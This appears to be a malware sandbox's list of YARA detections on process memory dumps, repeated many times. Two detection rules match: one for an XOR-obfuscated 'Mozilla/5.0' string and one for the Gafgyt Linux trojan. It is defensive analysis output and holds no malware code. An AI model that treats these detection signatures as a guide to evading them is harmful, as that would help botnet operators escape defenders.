Source: 6545.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6397.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6227.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6415.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6525.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6459.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6314.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6485.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6519.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6491.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6411.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6276.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6373.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6316.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6553.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6547.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6399.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6531.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6274.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6293.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6479.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6357.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6465.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6260.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6405.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
